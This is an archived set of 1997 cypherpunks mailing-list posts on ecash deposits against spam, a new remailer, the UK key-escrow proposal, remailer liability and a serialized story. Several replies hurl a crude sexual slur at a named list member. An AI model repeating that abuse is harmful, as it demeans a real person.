To: Wei Dai <weidai@eskimo.com>
Subject: Re: game theoretic analysis of junk mail
In-Reply-To: <Pine.SUN.3.96.970326004814.1233A-100000@eskimo.com>
Message-ID: <199703261430.PAA05866@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Wei Dai!  Long time no read!  I hope to see more articles from
you.


 A million monkeys operating under the pseudonym 
 "Wei Dai <weidai@eskimo.com>" typed:
> 
> The junk mail problem (also known as spam) is well known to just about
> everyone who receives e-mail.  There has also been many solutions
> proposed.  Noticeably, the idea of having e-mail senders include ecash
> payments with their mail has come up several times (I believe as the
> result of independent discovery).


I've suggested it several times.  I'm curious who else has 
proposed it.


<snip on game model of problem>


Nice!  I look forward to part 2.  (And part 3, where you go 
ahead and account for the cost of signing up for digital 
payment systems and the cost of managing each 
deposit/payment...)



I think the major problems with the proposal are first making 
digital payment systems ubiquitous and second making the
"unsolicited mail good faith deposit" idea ubiquitous.



Hm.  If we could somehow make the _idea_ gain.. er.. 
"currency" then the problem of spammers would cause more 
people to adopt digital payment systems.  _That_ would be
making a blessing from a curse!


Regards,

Zooko Journeyman, a.k.a. Bryce

PGP sig follows




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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Kevin McGowan" <alsop@ix.netcom.com>
Date: Wed, 26 Mar 1997 15:39:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: New remailer
Message-ID: <199703262339.RAA18103@dfw-ix12.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Features: cpunk pgp pgponly hash cut ksub

Public key for remailer@neva.org

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzL2F4AAAAEEAL2G5u427j6LBWgUi8S1OlCsnaPhoB6h4V0xS2FQfuIQQS9Q
dtTL/p406sdGAKtQEm/BecIgY+MLNKNukuOU9ifgz7jAs3kmm7i4yS714ua4vwag
Kg3fJIOiNxIk38ieKJE0s3vfPMZPeGNt8x8y7jfxZuMvuVyjNrYJG4a+gwxNAAUR
tBoyTXVsZXMgPHJlbWFpbGVyQG5ldmEub3JnPg==
=ta0J
-----END PGP PUBLIC KEY BLOCK-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 26 Mar 1997 15:22:39 -0800 (PST)
To: Jeremey Barrett <jeremey@veriweb.com>
Subject: Re: KRAP
In-Reply-To: <199703262100.QAA13328@upaya.multiverse.com>
Message-ID: <3339AF8D.74E0@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jeremey Barrett wrote:

> >  Key Recovery Agents Plan
 
> I dunno, but they couldn't have picked a better acronym :-)

  Good eye. I read about it and never noticed their
truth-in-advertising acronym.

  You are hereby awarded 50,000,000 Toto Eca$h credits.
  (1,000,000,000,000,000,000 = 1 peso)
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Wed, 26 Mar 1997 08:47:05 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Anonymous mail as spam?
In-Reply-To: <3339331C.4C2A@sk.sympatico.ca>
Message-ID: <199703261646.RAA10051@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

 A million monkeys operating under the pseudonym 
 "Toto <toto@sk.sympatico.ca>" typed:
> 
>   I believe that the 'money-point' for UCE (unsolicited commercial
> email) spammers is somewhere around .02% for most of their offerings.
>   In other words, they need to send out 10,000 emails and get a response
> just to break even.


Actually I had a talk with a certain anti-spam ISP owner
recently, and she asserted that the spammers don't make
significant money from responses to their spams, but are
instead making their money from stupid newbie companies who 
pay them for advertising service.


It's an interesting proposition.  You would think, though, that
the spamsters might as well just take the stupid newbie
company's cash and then send a couple of token e-mail 
messages, if that's their business model.  :-)


>   I truly believe that the InterNet should be left accessible to those
> without a lot of resources/cash, and that any effort to control abuse
> through cost should be so minimal as to not interfere with the ability
> of those who are currency-challenged to participate in its benefits.


I concur.  Note that a variation on the "good faith deposit"
idea is to make the included payment an actual, final
_payment_.  If it were small enough, it wouldn't really matter
to the sender (especially since she would probably get a
response back containing a similar payment).  Still, in order
to minimize the economic impact on non-commercial senders, 
I favor a deposit instead.  (It can be implemented almost as
efficiently as a final payment would...)


Again I assert, though, that this "deposit" shall have no legal
effect.  The cost of possibly incurring legal liability far 
outweighs the amounts that we are dealing with, effectively 
killing the whole idea in its cradle.


Regards,

Zooko

NOT speaking for DigiCash or any other person or organization.

PGP sig follows




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r9h/0/rOC6YgHXKaiPNBOr2tlyDuJ3hx
=Tw/j
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 26 Mar 1997 18:48:00 -0800 (PST)
To: Alec <camcc@abraxis.com>
Subject: Re: Corrupted "From:" headers in my posts
In-Reply-To: <199703252319.XAA01734@server.test.net>
Message-ID: <3339DF9F.5B62@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Alec wrote:
> At 01:27 AM 3/26/97 -0600, Toto wrote:
> |I emailed John Gilmore, asking his advice, and he informed me that
> |he has run into this problem before, and would be happy to provide the
> |solution, on one condition.
> |  He wants one million monkeys to send 5737 messages to the list, saying
> |"John Gilmore is NOT a cocksucker."
> |  Then, he will provide the solution, and not a moment before.

> OK, John, count me in. #1!
> "John Gilmore is NOT a cocksucker."

EHHHH!  John Gilmore IS a cocksucker.  This "yes" vote makes up for
10 "no" votes, so you folks better get real busy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Wed, 26 Mar 1997 16:06:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 17-18
Message-ID: <3339BA11.6842@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Pitch


Bubba was sitting quietly, contemplating
the meaning of the conversation that he had engaged in with Alexis
the previous evening, while they were awaiting Priscilla's return
from the 'initiation' of a new member of the mythical 'Circle
of Eunuchs'.

Alexis, though fully aware of the sublime
connection that existed between herself and the Cowboy, still
had little idea of the full ramifications of many of the things
she instinctively 'knew' or 'felt' regarding their relationship
and the bond between them. There were 'levels of upon levels'
of meanings to everything surrounding this great battle that was
currently being enacted across the face of the earth-perhaps for
the last time-and it fell upon Bubba to extract every ounce of
meaning from every detail, to sort and sift every microcosmic
nuance of every single item of information that pertained to the
ongoing battle of wits taking place between the 'Magic Circle'
and the 'Dark Forces' that they opposed.

There were two details, in particular, that
were bothering him at this point in time. The first was Alexis's
statement of the night before.
"I know that the Cowboy and I are perhaps not meant to have
a 'real' relationship, in this life, anyway. I understand
that, Bubba. I know that there's something we're involved with
that goes beyond the personal affairs of the individual participants
in a grander scheme of things.
"But I'm really mad that the one chance that he had
to acknowledge me, the one opportunity for him to acknowledge
us, he had to be such a...such a..."

"Such a man.", Bubba had
finished the thought for her.

"Yes!", Alexis had cried out,
satisfied that Bubba had helped her hit the nail exactly on the
head. "And I'm going to give him 'Holy Hell' about it, the
next time I see him.", she continued, resolutely.

Bubba, 'three sheets to the wind', at the
time, had noticed the discrepancy in her statements, and made
note to himself to resolve it later. And now was later.

Alexis instinctively 'knew' that she would
not be seeing the Cowboy again-ever-but she was blissfully 'unaware'
of knowing it, just the same. Thus she could talk about never
seeing him again, and then turn around and talk about the next
time she saw him.
Ignorance is bliss, in many an instance, and Bubba was
grateful that the 'powers that be' were allowing her this blissful
ignorance, while bringing this fact to Bubba's attention, regardless.

This did not bode well. Especially given
the second fact that was troubling Bubba. Priscilla had failed
to return from her previous night's rendezvous with a new member
of the 'Circle'. This did not bode well, at all.

Bubba's concern about Priscilla was allayed,
however, when she came in later, joined Bubba at his table for
a short drink, without the customary 'peck' on his cheek, and
left abruptly, with no meaningful conversation having taken place.
The 'explanation' for what changes were being wrought in the grand
scheme of things would obviously come from another.

Bubba waited...and watched...and waited...



It was several hours before Alexis came
in, stopping to converse, and flirt, with a few of the other patrons
before joining "my favorite old geezer," as she loudly
proclaimed to one and all, at his table in the corner. She gave
Bubba a warm hug and leaned to kiss him fondly on the cheek, whispering
in his ear,
"How's my favorite Uncle, today?" 

"Fine, my dear, just fine."

He gave her a fatherly kiss on the forehead,
in return, disturbed by her message, but somehow relieved that
the 'game' that had been played for centuries between the 'Circle'
and the 'Dark Forces' had finally moved onward, past the point
of no return.

The Cowboy had finally set in motion what
was likely to be the final match in a contest that had spanned
millennium-the battle between the forces of light and the forces
of darkness on the cosmic sphere known as Earth-the battle for
the souls of men.
And this battle, Bubba was certain, was for 'all the marbles'-the
souls of all mankind.

"God help us all.", Bubba thought,
inwardly, as Alexis sat and waited for a sign from him as to what
he needed of her, from this point on.


"Have you got time to sit and flirt
with a lecherous old geezer with evil intentions, my dear?"

Alexis gave Bubba an affectionate hug, and
ran a finger slowly and flirtatiously down his chest, to his navel.
She blew him a kiss and laughed like a little schoolgirl playing
with fire and enjoying the danger. She was glad Bubba needed her
to be with him a while, because there was a strange heaviness
reaching for her from afar, and she needed a point of stability
to lean on, to share that heaviness.

Bubba brought out a deck of cards, as he
did on very rare occasions, and they played silently, while Bubba
concentrated his thoughts on the developing situation, reading,
as best as possible, at the same time, the energy coming from
the affinity between Alexis and the Cowboy.

Alexis, after winning several hands of a
game she had never played before, a game she knew nothing about,
but one which she suddenly, instinctively, knew how to play, asked
Bubba the name of the game.

"Pitch.", he replied.

"Pitch, with the 'Bitch'?", Alexis
asked, quizzically.

Bubba smiled, a genuine, joyous, earth-shaking
smile, and Alexis smiled with him.

"What are we playing for?", Alexis
asked, teasing Bubba with a cute, quizzical look.

"We're playing for all the marbles.",
he replied, giving her a wink.

And somewhere, on the softness of the breeze
that wafted gently, inexplicably across the room, a voice from
far away whispered,

"We're 'Shooting the Moon', boys and
girls. We're shooting the moon."


Shooting the Moon


I need to get out of here. Soon...very soon.

Schultz goes back on duty at Level Two next week,
Jesus #1 and Jesus #2 are driving me crazy, and I know that Gomez
has something nasty up his sleeve by now.

I've spent a major portion of my life orienting my
every action towards making sure that I leave a cold trail behind
me, but now I'm a 'link'. A link to the past, a link to the present,
and a link to the Magic Circle...the Circle of Eunuchs.

I'm fairly certain what Gomez will do now. He'll
seed the InterNet with clues and messages regarding my situation
and my location, hoping someone in the Circle will follow the
trail and make an attempt to break me out of here.

They wouldn't, of course, I had made sure of that
with my reference to 'Uncle Bubba'. Gomez knew, knew absolutely,
that this was impossible, but he would have to check it out-I
was sure of that. It was the whole foundation upon which I had
based the dangerous game I had set in motion. If I was wrong...

No! I couldn't even think about that possibility. I had told him
everything. I knew the moment his henchmen had grabbed me that
I was out of the loop, with no way to get a message to the Circle.
My only hope was to find a way to get Gomez to deliver the message
himself.

It was a desperate gambit. 'Shooting the Moon', we
used to call it in my youth. 


Dad and mom used to take us to Wichita, a mid-western
city in Kansas, in the former United States of America. One of
dad's six sisters, Marjorie, lived there with her husband and
family. Alia and Larry and I used to stay up all night playing
cards with our cousins, Bob and Ronnie Springsteen. Those were
the glory days. 
It was a time and a place that was as close as one could get to
'heaven on earth'. It was a time of peace and prosperity, living
in the greatest nation on earth. A time and place where children
were blessed beyond belief. Food was plentiful, affluence was
the norm, education was free. The 'Great American Dream' was possible
for anybody, harder for some than others to attain, but still
possible. 

It was all we knew. We thought that was how life
had always been and how it was meant to be. We never knew...

If only we had known...


The game was called 'Pitch'. Fifty-two cards dealt
to four players. Each hand called a 'trick'. There were four suits,
diamonds, hearts, clubs and spades. We would bid on how many tricks
we thought we could win, and the high bid got to name 'trump'.
Trump was the suit that ruled over the other suits. Trump was
boss-hog...except for the 'Bitch'.

When a suit was 'led' (the first card played in each
hand), you had to 'follow suit' (play the cards you had in that
suit). If you had no cards in that suit, then you could play 'trump'
and win the hand.

Four players, divided into two teams, the members
of each team being 'partners'. The partner's fates were intertwined-fellow
warriors joined in battle against the other two players. They
lived together and they died together, symbolically speaking,
with the fate of each depending on the other. There was only one
catch...the bidding was 'blind', you had no idea what kind
of cards your partner was holding.

I know...I know. You think we were crazy. You
are wondering what could possibly be the point of a structural
procedure whose successful outcome depended upon haphazard conjecture
founded upon an inadequate substructure of informative data.

The only answer I can give you is via a colloquialism
of the time...'you just had to be there'.

I realize that in WebWorld data accuracy and structural
integrity is paramount. 
'Everything is the norm, and the norm is everything'.
We didn't have that saying back then. That was a concept we called
'fascism', or 'totalitarianism'. It was a notion that was considered
a great evil in our time.

Yes, I know. You think I'm 'pulling your leg', as
we used to say, but it's true. In order to understand the concept
of what we called 'games', back then, you need to get clear in
your mind that they were not, as I know you are thinking of them,
a matter of 'random chance'. 

I realize that you have been programmed by your Channel,
from early childhood, to think of any deviation from 'total information
accuracy maintenance' as a sign of mental imbalance, but I implore
you to attempt to free your minds from your Channel orientation
for the briefest of moments-just long enough to understand and
give consideration to the concept I am trying to explain.
I know it's blasphemy. I know that the whole concept is totally
contrary to 'Channel Logic', but believe me when I tell you that
it is your only hope to escape from an evil that lurks in the
heart of all you have been raised to believe as sacred and true.

The card games we played back then were not like
we have today. Today the cards are dealt 'face up', the players
then studying the cards and reaching mutual agreement as to who
has the better hand.
Even so, card games today are considered a foolish activity, an
archaic holdover from the past that is mostly indulged in by the
inmates at the psychiatric facilities, but there is a subtle difference
from the way we played back then.

The games of the Before Channel era were a combination
of information analysis and random chance. Their very essence
was established on the concept of a consummate symmetry of haphazard
circumstance and the certitude of the absolute.

'Pitch', with the 'Bitch', was the consummate game
of my childhood.

The 'Bitch' was the 'Black Bitch'-the Queen of Spades.


Ron and Bob had a black Springer Spaniel, a bitch,
who had developed a taste for cards. Once, when I had given her
hell for destroying a new deck I had broken out, she came up to
me shortly afterward, offering me a slightly chewed card she held
in her mouth, as a peace offering. It was the Queen of Spades.

My uncle Bill, consoling me because I had to spend the last of
my allowance buying a new deck, spun me a tale about how Lady
Luck had given me a sign, by sending the Black Bitch to me via
the black bitch, and that the Queen of Spades, which was so unlucky
for others, would be lucky for me.

I believed him then, and I still believe him now.



I suppose that I ought to tell you how Pitch was
played, for you to understand the significance of just why the
Bitch was feared by those who played the game.

There were twenty-six points to be won in each game.
A point for each hand taken, and thirteen points for the Queen
of Spades. But the Queen of Spades was a two-edged sword.
If you 'made' your bid, getting at least as many tricks as you
had bid, then you got that many points, but thirteen points were
subtracted for the 'Bitch' if it were among the tricks
you had won. If you failed to reach the required number of points
you had bid, then you went 'set' and lost the corresponding number
of points.

'Shooting the Moon' meant you declared your intention
to take all the tricks, including the 'Bitch', and your final
score was doubled. You got thirteen points for the tricks, and
the Queen of Spades counted as thirteen points in your favor.
If you failed to win all the tricks, however, you went 'set' to
the tune of 26 points.
 So when you 'Shot the Moon', then you won 'big-time' or
you lost 'big-time'.

We would cut the cards to decide who would be partners
in each game and there was invariably a groan from the person
who was unfortunate enough to become partners with 'yours truly'.


I was the crazy one, lunging into battle, time and
time again, with a complete disregard for the pragmatic status
which the cards conveyed to anyone with the sensibility to base
their play even remotely within the bounds of reason and rationality.

My divinely inspired strategy for bidding was based on my complete
conviction that Lady Luck was my SoulMate-the Yin to my Yang-and
that she was my protector and guardian. I based my whole bidding
strategy on the assumption that Lady Luck's love would never fail
me.
I lost a lot of games, dragging my partners down with me, but
I never lost my passion for 'Shooting the Moon'.

Time and time again my partner and I would be sucked
down into the void, going 'set' on my asinine bids. But there
were also times when I could do no wrong, when Lady Luck would
smile down on me in all her beatific glory. Times when the Moon
was my eternal lover.
With the full moon shining beatifically down upon us, my partner
and I would 'slam' our foes ceaselessly, trick after trick, game
after game, in a savage onslaught of bestial, untamed power. 

I would 'Shoot the Moon' with a hand incapable of
winning a single trick and watch our opponents wail in despair
as they struggled in a futile battle where all they could do was
watch my dumfounded partner capture trick upon trick with a hand
he or she would have been a fool to bid on. They would watch in
a state of numbed disbelief as the impossible was transformed-by
the divine alchemy of Lady Luck-into the inevitable.


You may be wondering what the point of this childhood
story is and, to tell the truth, I'm kind of wondering myself.

One of the great story-tellers of our time, a man
named Herman Hesse, once said, "We make our gods,
and do battle with them...and they bless us."

I believe in Lady Luck and I believe in the Power
of Myth. I believe that Lady Luck loved me and blessed me because
I desired her and created her...with love.
I believe that we created the reality of WebWorld, not
the other way around, and that it is we, not WebTV, that
is sacred. And I believe in the Magic Circle, because......

Because...without the Magic Circle...we are
doomed.


I have never lost the crazy side of my temperament,
but I have matured over the years, sometimes to the point of almost
being mistaken for an adult. I've learned the wisdom of being
mindful of the laws of actuality which govern the universe in
which we live. I've acquired the ability to act with discretion
and be heedful of the need for caution in matters of great importance.

But I've also learned that the Power of Myth is the
cornerstone of the 'Inaugural Enigma'. Mythos is the 'Black Bitch'
of the universe...it's the wildcard in the game of life. 

Once again I find myself 'Shooting the Moon' (without
a winning card in my hand), in a deadly game that may well decide
the fate of mankind.
Gomez, my sworn enemy, is my partner. We live together or we die
together. The hand is his to play. I told him everything, gave
him every reason to believe that he holds all the cards. Spades
are trump, and he's holding the Ace and King. I've given him every
reason to believe he's holding the Queen as well, and, in a way,
he is.

But the Lake of Life has started to turn over. The
bottom is rising to the top, the top is descending to the bottom,
and everything is becoming the opposite of what it seems to be.

Gomez holds the Queen of Spades, but he will lose
the game if he plays it.

You see, 'Uncle Bubba' is the wild card. 'Uncle Bubba'
is the 'Bitch'.


Chapter 17 - Pitch / Chapter 18 - Shooting the Moon







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger<nobody@huge.cajones>
Date: Wed, 26 Mar 1997 17:39:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703270136.TAA24233@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


its deployer.
Subject: Re: game theoretic analysis of junk mail


Bryce wrote:

> If I send a message to cpunks, and it is destined to reach
> 1000 mailboxes, do I have to include USD 100.00 with my
> message, which will be split by the majordomo into 1000
> 10-cent pieces?  Yikes!  And then I have to hope that all of
> the cypherpunks return my deposit.  Sounds like a bad bet.

  All discussions of eca$h charges for email seem to refer to a figure
of $ .10 as a reasonable sum. I suspect that this is due to people
subconsciously equating email with snail mail.
  I think that email, however, is a creature of its own design, and its
essence lies somewhere between snail mail and conversation.

  Think about this:
  What if, everytime you spoke to someone during the day, you had to
pay a dime? How would this change the interpersonal rapport that goes
on daily between friends, acquaintances, and strangers?

  What if you are a polite person, who thanks others regularly? And it
costs you a dime every time you do so?
  What if people rarely reply, "You're welcome." and it ends up costing
you an arm and a leg to be polite?
  This is just a simple conversational example, to illustrate that 
a small cost can have major ramifications when applied to various
situations.

  The Internet and the Web indeed have the potential to bring global
change in the arenas of knowledge and communications, but the question
is, will it do so in a manner that promotes equality, or in a manner
that promotes elitism and increased class-structures?

  The concept of limiting UCE/Spam through use of an email surcharge
may be viable, but then one has to deal with issues surrounding those
who have a need to communicate and few funds to devote towards doing
so. For example, people with disabilities who have legitimate needs
to receive support and information via support forums.
  The minute that $$$ enter the picture, then a class-system begins to
develop, and all sorts of individual, corporate and government entities
come out of the woodwork to level the playing field, or to build many
different levels on the playing field.

  The Internet's future may well parallel the development of the public
school system, in some ways. Public education was indeed something which
raised the level of all, but private schools made certain that those who
had the edge kept it.
  My view is that the nadir point in any new direction that society
takes comes fairly early after its inception. Thus the near future is
the time when it will be decided which direction the Net and the Web
will move, and in what areas its potential will be developed.
  Those who shape the Internet and the Web in the next year or so will
have a vast effect on the future.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Wed, 26 Mar 1997 20:41:26 -0800 (PST)
To: hallam@ai.mit.edu, gnu
Subject: UK domestic crypto regulation proposal *is* Clipper
Message-ID: <199703270440.UAA22819@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I've seen several comments on cypherpunks that misconstrue the UK proposal.
E.g. Phillip Hallam-Baker said:

> First off the proposals are not intended as a Trojan horse for
> the Clipper chip "or any other colonial scheme".
> ...
> They are emphatically not trying to introduce a Clipper chip proposal.

Unfortunately, I believe he is wrong.  It's worse than Clipper, since
it outlaws the competition.

The proposed legislation would make it illegal to offer the UK public
any service related to key management, including simply signing
peoples' keys, without being licensed by the state.  This licensing
scheme includes a GAK requirement, an interoperability requirement,
and a whole pile of requirements that may need a little translation.

This means that there would only be *one* public-key infrastructure in
the UK (they claim this as a feature for end-users, since it provides
interoperability -- though they apparently haven't picked *whose* PKI
they are going to enshrine as a monopoly).  Unfortunately it would be
completely subverted by the government.  Users would have no choice
about whether to use a different infrastructure, say from another
country, or by setting it up themselves using PGP, Secure DNS, or
whatever.  The "trust" they offer is 100% sham, since you yourself
don't get to pick who you trust.  They do.

"It will be necessary to ensure that TTP security personnel are
competent, suitably qualified, trusted, & have successfully completed
a recognised security vetting procedure."  Translation: "Public key
certification authorities will need a security clearance."

"Checks will need to be undertaken to ensure that the background and
other business interests of [TTP company] directors would not
compromise the trust placed in a TTP."  And later, "Checks will be
made to ensure that those who own, or effectively control, an
organisation, are suitable candidates for ownership of a TTP."
Translation: "We will only license people who we believe will turn
over anyone's key on demand.  If they show any sign that their
customers could actually trust them to keep private keys private,
their license will not be approved."

It explicitly states:

	It will be a criminal offence for a body to offer or provide
	licensable encryption services to the UK public without a
	valid license.

This isn't a requirement on USERS, it's a requirement on OFFERERS.
However, what this means for users is that if you want to use digital
signatures, you have to use a Traitorous Third Party.  It will be
illegal for anyone else to offer you a digital signature service.
Perhaps you could use encryption without using digital signatures, but
you've just lost most of the benefits of public-key cryptography.

I believe the proposal outlaws Secure DNS services.  Merely signing
the keys of sub-domains, for free or for money, would be illegal.  You
will only be able to secure the Internet if you first subvert the
Internet by turning over the keys.

And while the government mentions in several places that it isn't
interested in access to authentication keys, the proposal still
requires that anyone providing authentication services (like signing
keys) be a licensed TTP and subject to GAK.

	John Gilmore





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 26 Mar 1997 23:57:33 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Corrupted "From:" headers in my posts
In-Reply-To: <199703270557.XAA27131@manifold.algebra.com>
Message-ID: <333A2834.300F@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> I can tell you even without John Gilmore, the corrupted From: lines are
> a direct result of the government conspiracy to suppress cypherpunks
> movement. A typical man in the middle attack, if you wish.

What you just said is the unspoken fear and dread every one of us
wakes up with in the morning (those of us who are still sane).
The U.S. Founding Fathers warned of the need for constant vigilance,
and nowhere is that need better illustrated than here.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 26 Mar 1997 22:04:20 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Corrupted "From:" headers in my posts
In-Reply-To: <3339DF9F.5B62@gte.net>
Message-ID: <199703270557.XAA27131@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 
> Alec wrote:
> > At 01:27 AM 3/26/97 -0600, Toto wrote:
> > |I emailed John Gilmore, asking his advice, and he informed me that
> > |he has run into this problem before, and would be happy to provide the
> > |solution, on one condition.
> > |  He wants one million monkeys to send 5737 messages to the list, saying
> > |"John Gilmore is NOT a cocksucker."
> > |  Then, he will provide the solution, and not a moment before.
> 
> > OK, John, count me in. #1!
> > "John Gilmore is NOT a cocksucker."
> 
> EHHHH!  John Gilmore IS a cocksucker.  This "yes" vote makes up for
> 10 "no" votes, so you folks better get real busy.
> 

I can tell you even without John Gilmore, the corrupted From: lines are
a direct result of the government conspiracy to suppress cypherpunks
movement. A typical man in the middle attack, if you wish.

DEATH TO TYRANNY!

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 27 Mar 1997 00:18:42 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: remailer spam throttle
In-Reply-To: <Pine.LNX.3.94.970324222338.9176L-100000@neptune.chem.uga.e du>
Message-ID: <3.0.1.32.19970327001712.0065b100@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>From a legal perspective, Greg is right.  However, from a practical
perspective, the important impediments to running remailers are
(1) mail recipients hate you and send lots of complaints and
(1a) usenet readers hate you and send lots of complaints 
	(if you still support news posting.)
Andy's model of a remailer in which the remailer sends the recipient 
a delivery notice with a disclaimer/waiver/etc. and the recipient returns
it to pick up the message raises the level of politeness and lowers
the amount of surprise compared to current remailers, so it's a 
potentially big win.  If I start up a remailer again some year,
other than a middleman, it'll definitely need this kind of feature.
Building the positive public reputation of remailers and remailer
operators is a critical part of keeping the remailer system running,
at least as much as convenient, widely-deployed software.

For posting to Usenet, the "we have an anonymous posting, anybody want it"
approach doesn't sound highly practical, though it could be done,
but I'd probably limit postings to moderated newsgroups (where a human
will be filtering out the blatant spam and abuse) and flame-tolerant
newsgroups like alt.anonymous.messages and alt.flames.  I find this
highly frustrating, since one of the big wins about remailers is 
posting to talk.politics.* and alt.religion.scientology and other
groups where posting your opinion with your name on it may be unsafe.
There's also the problem of publishing acceptable newsgroup lists,
since failing messages silently is unfriendly to users, but 
there's a traffic analysis problem (Bad Guys can watch who fetches
remailer use policies and build up their dossiers.)

Most of the problem with (2) Third Parties _can_ be helped a bit by
disclaimers, by plausible deniability, by not having logs to subpoena,
and by having remailers that you're willing to shut down with profuse
apologies to head off lawsuits.  It isn't a perfect job if someone
really wants to go for blood by making you defend repeated lawsuits
(especially if they're really targeting you, e.g. posting their
Secret Documents through your remailer themselves to entrap you.)
But it'll let most remailer users defend against most reasonable 
complaints.

I do also agree with Greg that getting the sender of a message to
indemnify you isn't worth the recycled electrons used for the
log file you aren't keeping.  That's especially the case if
you're forwarding messages received from other remailers,
unless you can get other remailer operators to indemnify you,
in return for which you'd probably have to indemnify them.  No thanks.

At 01:58 AM 3/25/97 -0800, Greg Broiles wrote:
>I think there are two broad models of complaints/problems with remailers:
>1. The recipient is angry because they received a message they didn't 
>like. (because it's an advertisement, or it's rude, or [....]
>2. A third party is angry because the sender sent some information to the
>recipient which the third party thinks should not have been sent. 
>(copyright, >trademark, defamation, tortious interference [...] 

>Your "contract" model (which looks like you really mean it to be a 
>waiver of warranty/damages and/or an indemnification agreement) 
>addresses (1) to the point of overkill, but it doesn't reach (2), 
>because there's no contract with the third party, who is the party who's
>likely to be filing suit.
>(Indemnification by the sender might work, if you worded the contract
>correctly - but then you've got to abandon anonymity, and the value of
>indemnification from person you don't know whose assets/finances are
>unknown is pretty low.)
>
>Further, some fraction of the messages causing concern are message sent 
>or available to minors .. whose contracts (modulo some exceptions) are 
>voidable at their option. :(

>>..[disclaimers]..
>[doesn't help 2 for same reason]



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 27 Mar 1997 00:13:02 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: INFO: Pro-CODE testimony available now online at  democracy.net!
In-Reply-To: <199703250554.VAA22477@mail.pacifier.com>
Message-ID: <3.0.1.32.19970327001944.02931994@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:52 PM 3/24/97 -0800, jim bell wrote:
=>I, and maybe a lot of other people, are still waiting for somebody to do a 
>side-by-side comparison of "Pro-Code 1997" with last year's version, the 
>original.

A marked-up version (deleted text shown as strikeout, added text shown as
emphasized, common text shown as normal, will require a browser like Netscape
or IE which implements <strike> and <em>) is available at

<http://www.io.com/~gbroiles/procodemarkup.html>. 

It's not exactly attractive, but it gets the job done. 

Am working on a bigger survey of pending US and foreign crypto legislation,
but that may take a few more days.

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMzotfP37pMWUJFlhAQHaCQf9HjJR+vVVCndFYxnMGhRIwIIrDzlW41W/
okEdFTS34eYvgaK14AHuGi4xGkVBA3z7U+v7WtvOkmrtJCzrh43VjPynE9B5e3c/
+cPi27VS4dJuVyzsYoAQDnkbnK6T/TXjfaZmYwAONuwHbhFzupSgT8x3kAOyUHNP
9YzxdwjTVP6553M1QPqojgOUeSSfz+HMoW0KUi7BZmmLE/dAwQrZ/bXBGq7MZ3sh
eG8RwRAnhTm425qK3aM2k/5SPQoVsroAiN4z9nyAM5pG5piuXfsJ01XsCk++UYes
DGSAWRZkYivBNXMuxP+UIi0KojXjRIWkoaPox1cGQ/qCaUW5frwSJA==
=nZkW
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 26 Mar 1997 21:16:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: improving public acce
Message-ID: <TCPSMTP.17.3.27.0.23.10.2780269260.1586167@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 In> Adam Back, <aba@dcs.ex.ac.uk>, writes:

